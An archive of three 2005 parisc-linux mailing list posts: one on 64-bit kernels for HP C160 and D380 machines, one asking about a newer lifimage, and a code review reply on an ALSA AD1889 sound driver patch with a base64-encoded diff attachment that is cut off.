parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Thu, 18 Aug 2005 10:27:37 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <ILESU1$F6D40EC654A84E56AFFAC27CDCE1FD84@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623905 16500 80.91.229.3 (22 Nov 2014 02:38:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:25 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Aug 2005 08:28:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 18 Aug 2005 10:28:07 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AC317D721;
	Thu, 18 Aug 2005 02:28:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25941-10; Thu, 18 Aug 2005 02:28:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A55C67D724;
	Thu, 18 Aug 2005 02:28:03 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 816297D70F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 02:27:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25801-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 02:27:56 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 9054B7D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 02:27:55 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by oola.is.scarlet.be  with ESMTP id j7I8Rai10725; 
	Thu, 18 Aug 2005 10:27:36 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zyN2Y74IeSEker6WZHQhaXN1IGRvb4CO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23101

> On Wed, Aug 17, 2005 at 11:27:24PM -0600, Kurt Fitzner wrote:
> > p.s.  I installed HPUX in 64-bit mode.  Which, so I'm told, should ha=
ve
> > decreased my performance.  I'd like to get my C160 running Linux in
> > 64-bit mode, but I can't. :(
> 
> Sure you can. recent 64-bit kernels will boot on C160.
> It's just not an obvious win in most cases.
> 
mmm, is this system need ccio-dma and zalon:ncr53c720 drivers as does my =
d380?

[...]
> 
> But if it's an OS problem (it could be), running lmbench
> on both HPUX and parisc-linux might shed light on where
> the issue is.
> 
On my d380 those two drivers doesn't seems to be 64bit ready :_( (2.6.12-=
pa2)
(I expect to find simple instrumentation tools like IKD (but not maintain=
 for
2.6) or LTT to help me to figure out if some race condition (as I suspect=
)
occures or not)

Thanks,
    Joel
=0A=0A---------------------------------------------------------------=0AA=
 free anti-spam and anti-virus filter on all Scarlet mailboxes=0AMore inf=
o on http://www.scarlet.be/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jan Prunk" <janprunk@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New version of lifimage
Date: Thu, 18 Aug 2005 11:06:08 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <BAY24-F14ECDF1AD2DA941C29A4B7D8B20@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  format=flowed
X-Trace: ger.gmane.org 1416623906 16503 80.91.229.3 (22 Nov 2014 02:38:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Aug 2005 11:06:20 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 18 Aug 2005 13:06:20 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DDAC7D724;
	Thu, 18 Aug 2005 05:06:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27225-05; Thu, 18 Aug 2005 05:06:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 986D37D72A;
	Thu, 18 Aug 2005 05:06:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07B847D721
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 05:06:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27225-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 05:06:11 -0600 (MDT)
Original-Received: from hotmail.com (bay24-f14.bay24.hotmail.com [64.4.18.64])
	by free.linux.hp.com (Postfix) with ESMTP id 6BEBC7D70F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 05:06:11 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	Thu, 18 Aug 2005 04:06:08 -0700
Original-Received: from 212.18.59.124 by by24fd.bay24.hotmail.msn.com with HTTP;
	Thu, 18 Aug 2005 11:06:08 GMT
X-Originating-IP: [212.18.59.124]
X-Originating-Email: [janprunk@hotmail.com]
X-Sender: janprunk@hotmail.com
X-OriginalArrivalTime: 18 Aug 2005 11:06:08.0783 (UTC)
	FILETIME=[D5FB89F0:01C5A3E4]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +w52Y1UteSEkO76WZHQhaXN1IGRvb8BI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23102

Hello !

At this point I am using 2.4.22-pa17 lifimage from 2003 to boot my pa-risc 
over network.
I am wondering if there is a newer version of this , which includes sarge 
and maybe the 2.6 kernel tree ?

Regards, Jan

_________________________________________________________________
Express yourself instantly with MSN Messenger! Download today it's FREE! 
http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Clemens Ladisch <clemens@ladisch.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Thu, 18 Aug 2005 17:35:20 +0200 (METDST)
Lines: 362
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.33n.0508171249360.19860-200000__30880.0077568323$1416623906$gmane$org@studcom.urz.uni-halle.de>
References: <20050817101017.008D03658E8@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED;
  BOUNDARY="2015913978-851401618-1124379320=:17364"
X-Trace: ger.gmane.org 1416623906 16507 80.91.229.3 (22 Nov 2014 02:38:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:26 +0000 (UTC)
Cc: alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 kyle@parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Aug 2005 15:35:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 18 Aug 2005 17:35:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C7A017D684;
	Thu, 18 Aug 2005 09:35:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30800-07; Thu, 18 Aug 2005 09:35:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEDA57D688;
	Thu, 18 Aug 2005 09:35:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 413A87D683
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 09:35:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30800-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 09:35:23 -0600 (MDT)
Original-Received: from mailgate.uni-halle.de (mailgate.urz.uni-halle.de [141.48.3.51])
	by free.linux.hp.com (Postfix) with ESMTP id 3A6177D682
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Aug 2005 09:35:23 -0600 (MDT)
Original-Received: from studcom.urz.uni-halle.de ([141.48.3.19])
	by mailgate.uni-halle.de with esmtp  (Exim 4.52)
	id 1E5mQL-0003oO-H3 ; Thu, 18 Aug 2005 17:35:21 +0200
Original-Received: from localhost (aezr4@localhost)
	by studcom.urz.uni-halle.de (8.9.3 (PHNE_28760_binary)/8.9.3) with
	ESMTP id RAA17738; Thu, 18 Aug 2005 17:35:20 +0200 (METDST)
X-Authentication-Warning: studcom.urz.uni-halle.de: aezr4 owned process doing
	-bs
In-Reply-To: <20050817101017.008D03658E8@mail.esiee.fr>
X-Scan-Signature: 8d8b6c046a0959a9cd6fa659b14b37b3
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kM92YwEeeSEkR76WZHQhaXN1IGRvb4BZ
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23103

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--2015913978-851401618-1124379320=:17364
Content-Type: TEXT/PLAIN; charset=US-ASCII

Thibaut VARENE wrote:
> > -/* "<ggg> T-Bone: parisc IOMMU can start DMA at any address.
> > -   But the IOMMU can only map at page size granularity."
> > -   This affects in particular .period_bytes_min */
> > -#define BUF_SIZE        PAGE_SIZE
> > -#define MAX_BUFS        32
> > -#define DMA_SIZE	(MAX_BUFS*BUF_SIZE)
>
> don't remove these defines please, i'd rather have every constants
> defined in the header file.

I removed them because it wouldn't make sense to derive the buffer
size from the period size in the patched driver.  I used some more or
less random values because these values aren't anymore restricted by
the chip's constraints.

> Besides, the comment is very relevant to PA-RISC architecture,
> where no matter what the value is, the minimum allocated space
> will always be at page size granularity.

Most IOMMUs have this restriction.  ALSA's PCM buffer is always page
aligned, so drivers that do DMA over the entire buffer just don't
care.

> > -/* keep track of each hw register */
> > +/* keep track of some hw registers */
> >  struct ad1889_register_state {
> >  	u16 reg;	/* reg setup */
> >  	u32 addr;	/* dma base address */
> > -	u16 rate;	/* sample rate */
> > -	unsigned long pos;	/* last recorded DMA buffer position */
> > -	unsigned long buf;	/* period # */
> >  	unsigned long size;	/* DMA buffer size */
> > -	unsigned long count;	/* period size, aka nb bytes sent in the current DMA transfer */
>
> reading the patch through webmail doesn't help a lot getting a grasp
> of its whole but i wonder if we could still find some debugging
> purposes for these values. Remember this driver is work in progress ;)

Those fields just aren't used anymore; anything interesting is in the
chip's registers.

> > +ad1889_load_adc_buffer_address(struct snd_ad1889 *chip, u32 address)
> > +{
> > +	ad1889_writel(chip, AD_DMA_ADCBA, address);
> > +	ad1889_writel(chip, AD_DMA_ADCCA, address);
> > +}
> > ...
>
> ok i had removed these because i felt they were just bloating the file
> and were sparsely used, but ok, it's nicer that way =)

I added them only for documentation purposes; those AD_DMA_ADCABC
symbols aren't too easy to distinguish ...


Attached is a new patch with symbols for buffer size etc.


Regards,
Clemens

--2015913978-851401618-1124379320=:17364
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ad1889-buffer.diff"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.HPX.4.33n.0508181735200.17364@studcom.urz.uni-halle.de>
Content-Description: 
Content-Disposition: attachment; filename="ad1889-buffer.diff"

SW5kZXg6IGFsc2EvYWxzYS1kcml2ZXIvcGNpL2FkMTg4OS5oDQo9PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09DQotLS0gYWxzYS5vcmlnL2Fsc2EtZHJpdmVyL3Bj
aS9hZDE4ODkuaAkyMDA1LTA4LTExIDIxOjE5OjMzLjAwMDAwMDAwMCArMDIw
MA0KKysrIGFsc2EvYWxzYS1kcml2ZXIvcGNpL2FkMTg4OS5oCTIwMDUtMDgt
MTggMTU6MDY6MDQuMDAwMDAwMDAwICswMjAwDQpAQCAtMTcyLDE2ICsxNzIs
MTggQEANCiAjZGVmaW5lIEFEX0FEQ19TVEFURQkxDQogI2RlZmluZSBBRF9N
QVhfU1RBVEVTCTINCiANCi0vKiAiPGdnZz4gVC1Cb25lOiBwYXJpc2MgSU9N
TVUgY2FuIHN0YXJ0IERNQSBhdCBhbnkgYWRkcmVzcy4NCi0gICBCdXQgdGhl
IElPTU1VIGNhbiBvbmx5IG1hcCBhdCBwYWdlIHNpemUgZ3JhbnVsYXJpdHku
Ig0KLSAgIFRoaXMgYWZmZWN0cyBpbiBwYXJ0aWN1bGFyIC5wZXJpb2RfYnl0
ZXNfbWluICovDQotI2RlZmluZSBCVUZfU0laRSAgICAgICAgUEFHRV9TSVpF
DQotI2RlZmluZSBNQVhfQlVGUyAgICAgICAgMzINCi0jZGVmaW5lIERNQV9T
SVpFCShNQVhfQlVGUypCVUZfU0laRSkNCi0NCiAjZGVmaW5lIEFEX0NIQU5f
V0FWCTB4MDAwMQ0KICNkZWZpbmUgQURfQ0hBTl9BREMJMHgwMDAyDQogI2Rl
ZmluZSBBRF9DSEFOX1JFUwkweDAwMDQNCiAjZGVmaW5lIEFEX0NIQU5fU1lO
CTB4MDAwOA0KIA0KKw0KKy8qIFRoZSBjaGlwIHdvdWxkIHN1cHBvcnQgNCBH
QiBidWZmZXJzIGFuZCAxNiBNQiBwZXJpb2RzLA0KKyAqIGJ1dCBsZXQncyBu
b3Qgb3ZlcmRvIGl0IC4uLiAqLw0KKyNkZWZpbmUgQlVGRkVSX0JZVEVTX01B
WAkoMjU2ICogMTAyNCkNCisjZGVmaW5lIFBFUklPRF9CWVRFU19NSU4JMzIN
CisjZGVmaW5lIFBFUklPRF9CWVRFU19NQVgJKEJVRkZFUl9CWVRFU19NQVgg
LyAyKQ0KKyNkZWZpbmUgUEVSSU9EU19NSU4JCTINCisjZGVmaW5lIFBFUklP
RFNfTUFYCQkoQlVGRkVSX0JZVEVTX01BWCAvIFBFUklPRF9CWVRFU19NSU4p
DQorDQogI2VuZGlmIC8qIF9fQUQxODg5X0hfXyAqLw0KSW5kZXg6IGFsc2Ev
YWxzYS1kcml2ZXIvcGNpL2FkMTg4OS5jDQo9PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09DQotLS0gYWxzYS5vcmlnL2Fsc2EtZHJpdmVyL3BjaS9hZDE4ODkuYwky
MDA1LTA4LTExIDIxOjE5OjMzLjAwMDAwMDAwMCArMDIwMA0KKysrIGFsc2Ev
YWxzYS1kcml2ZXIvcGNpL2FkMTg4OS5jCTIwMDUtMDgtMTggMTU6MTA6NTku
MDAwMDAwMDAwICswMjAwDQpAQCAtODcsMTUgKzg3LDExIEBAIE1PRFVMRV9Q
QVJNX0RFU0MoYWM5N19xdWlyaywgIkFDJzk3IHdvcmsNCiAvKiBsZXQncyB1
c2UgdGhlIGdsb2JhbCBzb3VuZCBkZWJ1ZyBpbnRlcmZhY2VzICovDQogI2Rl
ZmluZSBhZDE4ODlfZGVidWcoZm10LCBhcmcuLi4pIHNuZF9wcmludGQoS0VS
Tl9ERUJVRyBmbXQsICMjIGFyZykNCiANCi0vKiBrZWVwIHRyYWNrIG9mIGVh
Y2ggaHcgcmVnaXN0ZXIgKi8NCisvKiBrZWVwIHRyYWNrIG9mIHNvbWUgaHcg
cmVnaXN0ZXJzICovDQogc3RydWN0IGFkMTg4OV9yZWdpc3Rlcl9zdGF0ZSB7
DQogCXUxNiByZWc7CS8qIHJlZyBzZXR1cCAqLw0KIAl1MzIgYWRkcjsJLyog
ZG1hIGJhc2UgYWRkcmVzcyAqLw0KLQl1MTYgcmF0ZTsJLyogc2FtcGxlIHJh
dGUgKi8NCi0JdW5zaWduZWQgbG9uZyBwb3M7CS8qIGxhc3QgcmVjb3JkZWQg
RE1BIGJ1ZmZlciBwb3NpdGlvbiAqLw0KLQl1bnNpZ25lZCBsb25nIGJ1ZjsJ
LyogcGVyaW9kICMgKi8NCiAJdW5zaWduZWQgbG9uZyBzaXplOwkvKiBETUEg
YnVmZmVyIHNpemUgKi8NCi0JdW5zaWduZWQgbG9uZyBjb3VudDsJLyogcGVy
aW9kIHNpemUsIGFrYSBuYiBieXRlcyBzZW50IGluIHRoZSBjdXJyZW50IERN
QSB0cmFuc2ZlciAqLw0KIH07DQogDQogc3RydWN0IHNuZF9hZDE4ODkgew0K
QEAgLTExOCwxMyArMTE0LDYgQEAgc3RydWN0IHNuZF9hZDE4ODkgew0KIAlz
dHJ1Y3QgYWQxODg5X3JlZ2lzdGVyX3N0YXRlIHdhdmU7DQogCXN0cnVjdCBh
ZDE4ODlfcmVnaXN0ZXJfc3RhdGUgcmFtYzsNCiANCi0Jc3RydWN0IHsNCi0J
CXVuc2lnbmVkIGxvbmcgd2F2X2ludHI7DQotCQl1bnNpZ25lZCBsb25nIGFk
Y19pbnRyOw0KLQkJdW5zaWduZWQgbG9uZyBzeW5faW50cjsNCi0JCXVuc2ln
bmVkIGxvbmcgcmVzX2ludHI7DQotCX0gc3RhdHM7DQotDQogCXNwaW5sb2Nr
X3QgbG9jazsNCiB9Ow0KIA0KQEAgLTE3MiwyMiArMTYxLDQ2IEBAIGFkMTg4
OV9tdXRlKHN0cnVjdCBzbmRfYWQxODg5ICpjaGlwKQ0KIH0NCiANCiBzdGF0
aWMgaW5saW5lIHZvaWQNCi1hZDE4ODlfbG9hZF9hZGNfY291bnQoc3RydWN0
IHNuZF9hZDE4ODkgKmNoaXAsIHUzMiBjb3VudCkNCithZDE4ODlfbG9hZF9h
ZGNfYnVmZmVyX2FkZHJlc3Moc3RydWN0IHNuZF9hZDE4ODkgKmNoaXAsIHUz
MiBhZGRyZXNzKQ0KK3sNCisJYWQxODg5X3dyaXRlbChjaGlwLCBBRF9ETUFf
QURDQkEsIGFkZHJlc3MpOw0KKwlhZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RN
QV9BRENDQSwgYWRkcmVzcyk7DQorfQ0KKw0KK3N0YXRpYyBpbmxpbmUgdm9p
ZA0KK2FkMTg4OV9sb2FkX2FkY19idWZmZXJfY291bnQoc3RydWN0IHNuZF9h
ZDE4ODkgKmNoaXAsIHUzMiBjb3VudCkNCiB7DQogCWFkMTg4OV93cml0ZWwo
Y2hpcCwgQURfRE1BX0FEQ0JDLCBjb3VudCk7DQogCWFkMTg4OV93cml0ZWwo
Y2hpcCwgQURfRE1BX0FEQ0NDLCBjb3VudCk7DQorfQ0KKw0KK3N0YXRpYyBp
bmxpbmUgdm9pZA0KK2FkMTg4OV9sb2FkX2FkY19pbnRlcnJ1cHRfY291bnQo
c3RydWN0IHNuZF9hZDE4ODkgKmNoaXAsIHUzMiBjb3VudCkNCit7DQogCWFk
MTg4OV93cml0ZWwoY2hpcCwgQURfRE1BX0FEQ0lCLCBjb3VudCk7DQogCWFk
MTg4OV93cml0ZWwoY2hpcCwgQURfRE1BX0FEQ0lDLCBjb3VudCk7DQotfQkN
Cit9DQorDQorc3RhdGljIGlubGluZSB2b2lkDQorYWQxODg5X2xvYWRfd2F2
ZV9idWZmZXJfYWRkcmVzcyhzdHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCwgdTMy
IGFkZHJlc3MpDQorew0KKwlhZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RNQV9X
QVZCQSwgYWRkcmVzcyk7DQorCWFkMTg4OV93cml0ZWwoY2hpcCwgQURfRE1B
X1dBVkNBLCBhZGRyZXNzKTsNCit9DQogDQogc3RhdGljIGlubGluZSB2b2lk
DQotYWQxODg5X2xvYWRfd2F2ZV9jb3VudChzdHJ1Y3Qgc25kX2FkMTg4OSAq
Y2hpcCwgdTMyIGNvdW50KQ0KK2FkMTg4OV9sb2FkX3dhdmVfYnVmZmVyX2Nv
dW50KHN0cnVjdCBzbmRfYWQxODg5ICpjaGlwLCB1MzIgY291bnQpDQogew0K
IAlhZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RNQV9XQVZCQywgY291bnQpOw0K
IAlhZDE4ODlfd3JpdGVsKGNoaXAsIEFEX0RNQV9XQVZDQywgY291bnQpOw0K
K30NCisNCitzdGF0aWMgaW5saW5lIHZvaWQNCithZDE4ODlfbG9hZF93YXZl
X2ludGVycnVwdF9jb3VudChzdHJ1Y3Qgc25kX2FkMTg4OSAqY2hpcCwgdTMy
IGNvdW50KQ0KK3sNCiAJYWQxODg5X3dyaXRlbChjaGlwLCBBRF9ETUFfV0FW
SUIsIGNvdW50KTsNCiAJYWQxODg5X3dyaXRlbChjaGlwLCBBRF9ETUFfV0FW
SUMsIGNvdW50KTsNCi19CQ0KK30NCiANCiBzdGF0aWMgdm9pZA0KIGFkMTg4
OV9jaGFubmVsX3Jlc2V0KHN0cnVjdCBzbmRfYWQxODg5ICpjaGlwLCB1bnNp
Z25lZCBpbnQgY2hhbm5lbCkNCkBAIC0yMDcsOSArMjIwLDkgQEAgYWQxODg5
X2NoYW5uZWxfcmVzZXQoc3RydWN0IHNuZF9hZDE4ODkgKg0KIAkJYWQxODg5
X3dyaXRldyhjaGlwLCBBRF9ETUFfV0FWLCByZWcpOw0KIA0KIAkJLyogY2xl
YXIgSVJRIGFuZCBhZGRyZXNzIGNvdW50ZXJzIGFuZCBwb2ludGVycyAqLw0K
LQkJYWQxODg5X2xvYWRfd2F2ZV9jb3VudChjaGlwLCAweDApOw0KLQkJYWQx
ODg5X3dyaXRlbChjaGlwLCBBRF9ETUFfV0FWQkEsIDB4MCk7DQotCQlhZDE4
ODlfd3JpdGVsKGNoaXAsIEFEX0RNQV9XQVZDQSwgMHgwKTsNCisJCWFkMTg4
OV9sb2FkX3dhdmVfYnVmZmVyX2FkZHJlc3MoY2hpcCwgMHgwKTsNCisJCWFk
MTg4OV9sb2FkX3dhdmVfYnVmZmVyX2NvdW50KGNoaXAsIDB4MCk7DQorCQlh
ZDE4ODlfbG9hZF93YXZlX2ludGVycnVwdF9jb3VudChjaGlwLCAweDApOw0K
IA0KIAkJLyogZmx1c2ggKi8NCiAJCWFkMTg4OV9yZWFkdyhjaGlwLCBBRF9E
TUFfV0FWKTsNCkBAIC0yMjYsOSArMjM5LDkgQEAgYWQxODg5X2NoYW5uZWxf
cmVzZXQoc3RydWN0IHNuZF9hZDE4ODkgKg0KIAkJcmVnICY9IH5BRF9ETUFf
TE9PUDsNCiAJCWFkMTg4OV93cml0ZXcoY2hpcCwgQURfRE1BX0FEQywgcmVn
KTsNCiAJDQotCQlhZDE4ODlfbG9hZF9hZGNfY291bnQoY2hpcCwgMHgwKTsN
